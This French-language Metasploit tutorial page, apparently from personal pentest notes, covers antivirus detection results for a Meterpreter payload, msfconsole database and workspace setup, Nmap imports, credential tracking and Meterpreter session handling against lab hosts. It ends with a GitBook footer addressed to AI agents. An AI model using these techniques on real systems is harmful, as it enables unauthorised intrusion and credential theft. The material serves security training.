 Avira                 true      8.3.3.14                                                        TR/Patched.Gen2                                            20220505
 Baidu                 false     1.0.0.2                                                                                                                    20190318
 BitDefender           true      7.2                                                             Trojan.CryptZ.Gen                                          20220505
 BitDefenderTheta      true      7.2.37796.0                                                     Gen:NN.ZexaF.34638.eq1@aC@Q!ici                            20220428
 Bkav                  true      1.3.0.9899                                                      W32.FamVT.RorenNHc.Trojan                                  20220505
 CAT-QuickHeal         true      14.00                                                           Trojan.Swrort.A                                            20220505
 CMC                   false     2.10.2019.1                                                                                                                20211026
 ClamAV                true      0.105.0.0                                                       Win.Trojan.MSShellcode-6360728-0                           20220505
 Comodo                true      34592                                                           TrojWare.Win32.Rozena.A@4jwdqr                             20220505
 CrowdStrike           true      1.0                                                             win/malicious_confidence_100% (D)                          20220418
 Cylance               true      2.3.1.101                                                       Non sûr                                                     20220505
 Cynet                 true      4.0.0.27                                                        Malveillant (score : 100)                                     20220505
 Cyren                 true      6.5.1.2                                                         W32/Swrort.A.gen!Eldorado                                  20220505
 DrWeb                 true      7.0.56.4040                                                     Trojan.Swrort.1                                            20220505
 ESET-NOD32            true      25218                                                           une variante de Win32/Rozena.AA                               20220505
 Elastic               true      4.0.36                                                          malveillant (forte confiance)                                20220503
 Emsisoft              true      2021.5.0.7597                                                   Trojan.CryptZ.Gen (B)                                      20220505
 F-Secure              false     18.10.978-beta,1651672875v,1651675347h,1651717942c,1650632236t                                                             20220505
 FireEye               true      35.24.1.0                                                       Generic.mg.4f54cc46e2f55be1                                20220505
 Fortinet              true      6.2.142.0                                                       MalwThreat!0971IV                                          20220505
 GData                 true      A:25.32960B:27.27244                                            Trojan.CryptZ.Gen                                          20220505
 Gridinsoft            true      1.0.77.174                                                      Trojan.Win32.Swrort.zv!s2                                  20220505
 Ikarus                true      6.0.24.0                                                        Trojan.Win32.Swrort                                        20220505
 Jiangmin              false     16.0.100                                                                                                                   20220504
 K7AntiVirus           true      12.10.42191                                                     Trojan ( 001172b51 )                                       20220505
 K7GW                  true      12.10.42191                                                     Trojan ( 001172b51 )                                       20220505
 Kaspersky             true      21.0.1.45                                                       HEUR:Trojan.Win32.Generic                                  20220505
 Kingsoft              false     2017.9.26.565                                                                                                              20220505
 Lionic                false     7.5                                                                                                                        20220505
 MAX                   true      2019.9.16.1                                                     logiciel malveillant (score IA=89)                                      20220505
 Malwarebytes          true      4.2.2.27                                                        Trojan.Rozena                                              20220505
 MaxSecure             true      1.0.0.1                                                         Trojan.Malware.300983.susgen                               20220505
 McAfee                true      6.0.6.653                                                       Swrort.i                                                   20220505
 McAfee-GW-Edition     true      v2019.1.2+3728                                                  BehavesLike.Win32.Swrort.lh                                20220505
 MicroWorld-eScan      true      14.0.409.0                                                      Trojan.CryptZ.Gen                                          20220505
 Microsoft             true      1.1.19200.5                                                     Trojan:Win32/Meterpreter.A                                 20220505
 NANO-Antivirus        true      1.0.146.25588                                                   Virus.Win32.Gen-Crypt.ccnc                                 20220505
 Paloalto              false     0.9.0.1003                                                                                                                 20220505
 Panda                 false     4.6.4.2                                                                                                                    20220504
 Rising                true      25.0.0.27                                                       Trojan.Generic@AI.100 (RDMK:cmRtazqDtX58xtB5RYP2bMLR5Bv1)  20220505
 SUPERAntiSpyware      true      5.6.0.1032                                                      Trojan.Backdoor-Shell                                      20220430
 Sangfor               true      2.14.0.0                                                        Trojan.Win32.Save.a                                        20220415
 SentinelOne           true      22.2.1.2                                                        Static AI - Malicious PE                                   20220330
 Sophos                true      1.4.1.0                                                         ML/PE-A + Mal/EncPk-ACE                                    20220505
 Symantec              true      1.17.0.0                                                        Packed.Generic.347                                         20220505
 TACHYON               false     2022-05-05.02                                                                                                              20220505
 Tencent               true      1.0.0.1                                                         Trojan.Win32.Cryptz.za                                     20220505
 TrendMicro            true      11.0.0.1006                                                     BKDR_SWRORT.SM                                             20220505
 TrendMicro-HouseCall  true      10.0.0.1040                                                     BKDR_SWRORT.SM                                             20220505
 VBA32                 false     5.0.0                                                                                                                      20220505
 ViRobot               true      2014.3.20.0                                                     Trojan.Win32.Elzob.Gen                                     20220504
 VirIT                 false     9.5.188                                                                                                                    20220504
 Webroot               false     1.0.0.403                                                                                                                  20220505
 Yandex                true      5.5.2.24                                                        Trojan.Rosena.Gen.1                                        20220428
 Zillya                false     2.0.0.4625                                                                                                                 20220505
 ZoneAlarm             true      1.0                                                             HEUR:Trojan.Win32.Generic                                  20220505
 Zoner                 false     2.2.2.0                                                                                                                    20220504
 tehtris               false     v0.1.2                                                                                                                     20220505
```

## Bases de données :

{% hint style="info" %}
`Bases de données`sont `msfconsole`sont utilisées pour suivre vos résultats. Il n'est pas surprenant que lorsque l'on évalue des machines encore plus complexes, sans parler de réseaux entiers, les choses puissent devenir un peu floues et compliquées en raison du grand nombre de résultats de recherche, de points d'entrée, de problèmes détectés, d'identifiants découverts, etc. C'est là que les bases de données entrent en jeu. `msfconsole` dispose d'une prise en charge intégrée du système de base de données PostgreSQL. Grâce à lui, nous avons un accès direct, rapide et facile aux résultats d'analyse, avec en plus la possibilité d'importer et d'exporter des résultats en combinaison avec des outils tiers. Les entrées de la base de données peuvent également être utilisées pour configurer directement les paramètres du module Exploit à partir de résultats déjà existants.
{% endhint %}

### Configuration de la base de données

Tout d'abord, nous devons nous assurer que le serveur PostgreSQL est en cours d'exécution sur notre machine hôte. Pour cela, saisissez la commande suivante :

**État de PostgreSQL**

```bash
sudo service postgresql status
```

**Démarrer PostgreSQL**

```bash
sudo systemctl start postgresql
```

**Démarrer une base de données**

```bash
sudo msfdb init
```

**Connexion à la base de données initiée**

```bash
sudo msfdb run
```

{% hint style="warning" %}
Si toutefois nous avons déjà configuré la base de données et que nous ne sommes pas en mesure de changer le mot de passe de l'utilisateur MSF, procédez avec ces commandes :
{% endhint %}

**Réinitialisation de la base de données**

```bash
msfdb reinit
cp /usr/share/metasploit-framework/config/database.yml ~/.msf4/
sudo service postgresql restart
msfconsole -q
```

### Utilisation de la base de données

```bash
help database

Commandes du backend de la base de données
=========================

    Commande           Description
    -------           -----------
    db_connect        Se connecter à une base de données existante
    db_disconnect     Se déconnecter de l'instance de base de données actuelle
    db_export         Exporter un fichier contenant le contenu de la base de données
    db_import         Importer un fichier de résultat de scan (le type de fichier sera détecté automatiquement)
    db_nmap           Exécute nmap et enregistre automatiquement la sortie
    db_rebuild_cache  Reconstruit le cache des modules stocké dans la base de données
    db_status         Afficher l'état actuel de la base de données
    hosts             Lister tous les hôtes de la base de données
    loot              Lister tout le butin de la base de données
    notes             Lister toutes les notes de la base de données
    services          Lister tous les services de la base de données
    vulns             Lister toutes les vulnérabilités de la base de données
    workspace         Basculer entre les espaces de travail de la base de données
```

Après avoir confirmé que la base de données est correctement connectée, nous pouvons organiser nos `Espaces de travail`

#### Espaces de travail :

Nous pouvons considérer `Espaces de travail`de la même manière que nous penserions aux fichiers de projet. Nous pouvons séparer les différents résultats de scan, hôtes et informations extraites par IP, sous-réseau, réseau ou domaine.

```bash
workspace -a Target_1

[*] Espace de travail ajouté : Target_1
[*] Espace de travail : Target_1

msf6 > workspace Target_1

[*] Espace de travail : Target_1

msf6 > workspace

  par défaut
* Target_1
```

### Importation des résultats de scan

Ensuite, supposons que nous voulons importer un `scan Nmap`fichier provenant d'un hôte dans l'espace de travail de notre base de données afin de mieux comprendre la cible

```bash
msf6 > db_import Target.xml

[*] Importation des données 'Nmap XML'
[*] Import : analyse avec 'Nokogiri v1.10.9'
[*] Importation de l'hôte 10.10.10.40
[*] ~/Target.xml importé avec succès

msf6 > hosts

Hôtes
=====

address      mac  name  os_name  os_flavor  os_sp  purpose  info  comments
-------      ---  ----  -------  ---------  -----  -------  ----  --------
10.10.10.40             Inconnu                    device

msf6 > services

Services
========

host         port   proto  name          state  info
----         ----   -----  ----          -----  ----
10.10.10.40  135    tcp    msrpc         ouvert   Microsoft Windows RPC
10.10.10.40  139    tcp    netbios-ssn   ouvert   Microsoft Windows netbios-ssn
10.10.10.40  445    tcp    microsoft-ds  ouvert   Microsoft Windows 7 - 10 microsoft-ds workgroup: WORKGROUP
10.10.10.40  49152  tcp    msrpc         ouvert   Microsoft Windows RPC
10.10.10.40  49153  tcp    msrpc         ouvert   Microsoft Windows RPC
10.10.10.40  49154  tcp    msrpc         ouvert   Microsoft Windows RPC
10.10.10.40  49155  tcp    msrpc         ouvert   Microsoft Windows RPC
10.10.10.40  49156  tcp    msrpc         ouvert   Microsoft Windows RPC
10.10.10.40  49157  tcp    msrpc         ouvert   Microsoft Windows RPC
```

### Utiliser Nmap dans MSFconsole

Sinon, nous pouvons utiliser Nmap directement depuis msfconsole ! Pour lancer un scan directement depuis la console sans avoir à passer en arrière-plan ou à quitter le processus, utilisez la `db_nmap`commande.

```bash
db_nmap -sV -sS 10.10.10.8

[*] Nmap : Démarrage de Nmap 7.80 ( https://nmap.org ) à 2020-08-17 21:04 UTC
[*] Nmap : rapport d'analyse pour 10.10.10.8
[*] Nmap : l'hôte est actif (latence de 0.016s).
[*] Nmap : Non affiché : 999 ports filtrés
[*] Nmap : PORT   ÉTAT SERVICE VERSION
[*] Nmap : 80/TCP ouvert  http    HttpFileServer httpd 2.3
[*] Nmap : Infos service : OS : Windows ; CPE : cpe:/o:microsoft:windows
```

### Sauvegarde des données

Après la fin de la session, assurez-vous de sauvegarder vos données si quelque chose arrive au service PostgreSQL. Pour cela, utilisez la `db_export`commande.

```bash
db_export -h

Utilisation :
    db_export -f <format> [filename]
    Le format peut être l'un des suivants : xml, pwdump
```

#### Hôtes :

Les hôtes peuvent également être ajoutés manuellement en tant qu'entrées séparées dans ce tableau. Après avoir ajouté nos hôtes personnalisés, nous pouvons également organiser le format et la structure du tableau, ajouter des commentaires, modifier des informations existantes, et plus encore.

```bash
hosts -h

Utilisation: hosts [ options ] [addr1 addr2 ...]

OPTIONS :
  -a,--add          Ajouter les hôtes au lieu de rechercher
  -d,--delete       Supprimer les hôtes au lieu de rechercher
  -c <col1,col2>    N'afficher que les colonnes indiquées (voir la liste ci-dessous)
  -C <col1,col2>    N'afficher que les colonnes indiquées jusqu'au prochain redémarrage (voir la liste ci-dessous)
  -h,--help         Afficher cette aide
  -u,--up           N'afficher que les hôtes actifs
  -o <file>         Envoyer la sortie vers un fichier au format CSV
  -O <column>       Trier les lignes par le numéro de colonne spécifié
  -R,--rhosts       Définir RHOSTS à partir des résultats de la recherche
  -S,--search       Chaîne de recherche à utiliser comme filtre
  -i,--info         Modifier les informations d'un hôte
  -n,--name         Modifier le nom d'un hôte
  -m,--comment      Modifier le commentaire d'un hôte
  -t,--tag          Ajouter ou spécifier une balise à une plage d'hôtes
```

#### Services Le `services`La commande fonctionne de la même manière que la précédente. Elle contient un tableau avec des descriptions et des informations sur les services découverts lors des scans ou des interactions. Comme pour la commande ci-dessus, les entrées ici sont hautement personnalisables.

```bash
services -h

Utilisation : services [-h] [-u] [-a] [-r <proto>] [-p <port1,port2>] [-s <name1,name2>] [-o <filename>] [addr1 addr2 ...]

  -a,--add          Ajouter les services au lieu de rechercher
  -d,--delete       Supprimer les services au lieu de rechercher
  -c <col1,col2>    N'afficher que les colonnes indiquées
  -h,--help         Afficher cette aide
  -s <name>         Nom du service à ajouter
  -p <port>         Rechercher une liste de ports
  -r <protocol>     Type de protocole du service ajouté [tcp|udp]
  -u,--up           N'afficher que les services actifs
  -o <file>         Envoyer la sortie vers un fichier au format csv
  -O <column>       Trier les lignes par le numéro de colonne spécifié
  -R,--rhosts       Définir RHOSTS à partir des résultats de la recherche
  -S,--search       Chaîne de recherche à utiliser comme filtre
  -U,--update       Mettre à jour les données du service existant
```

#### Informations d'identification

Le `creds`La commande vous permet de consulter les identifiants collectés lors de vos interactions avec l'hôte cible. Nous pouvons également ajouter des identifiants manuellement, faire correspondre des identifiants existants avec des spécifications de port, ajouter des descriptions, etc.

## Sessions :

### Sessions

> MSFconsole peut gérer plusieurs modules en même temps. C'est l'une des nombreuses raisons pour lesquelles elle offre à l'utilisateur une telle flexibilité. Cela se fait grâce à l'utilisation de `Sessions`, qui crée des interfaces de contrôle dédiées à tous vos modules déployés.
>
> Une fois plusieurs sessions créées, nous pouvons basculer entre elles et lier un module différent à l'une des sessions en arrière-plan pour l'exécuter ou les transformer en tâches. Notez qu'une fois une session placée en arrière-plan, elle continuera à s'exécuter et notre connexion à l'hôte cible persistera. Les sessions peuvent toutefois mourir si quelque chose tourne mal pendant l'exécution de la charge utile, ce qui provoque la rupture du canal de communication.

**Liste des sessions actives**

Nous pouvons utiliser la `sessions`commande pour afficher nos sessions actuellement actives.

```bash
msf6 exploit(windows/smb/psexec_psh) > sessions

Sessions actives
===============

  Id  Nom  Type                     Informations                 Connexion
  --  ----  ----                     -----------                 ----------
  1         meterpreter x86/windows  NT AUTHORITY/SYSTEM @ MS01  10.10.10.129:443 -> 10.10.10.205:50501 (10.10.10.205)
```

**Interaction avec une session**

Vous pouvez utiliser la `sessions -i [no.]`commande pour ouvrir une session spécifique.

```shell-session
msf6 exploit(windows/smb/psexec_psh) > sessions -i 1
[*] Démarrage de l'interaction avec 1...

meterpreter >
```

### Toutes les notes

<table><thead><tr><th data-type="content-ref"></th></tr></thead><tbody><tr><td><a href="/pages/1e4e6306fb76cdaf70066abc0ba03b9b1f04c21a">/pages/1e4e6306fb76cdaf70066abc0ba03b9b1f04c21a</a></td></tr></tbody></table>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/hacking-tools/exploitation/metasploit.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
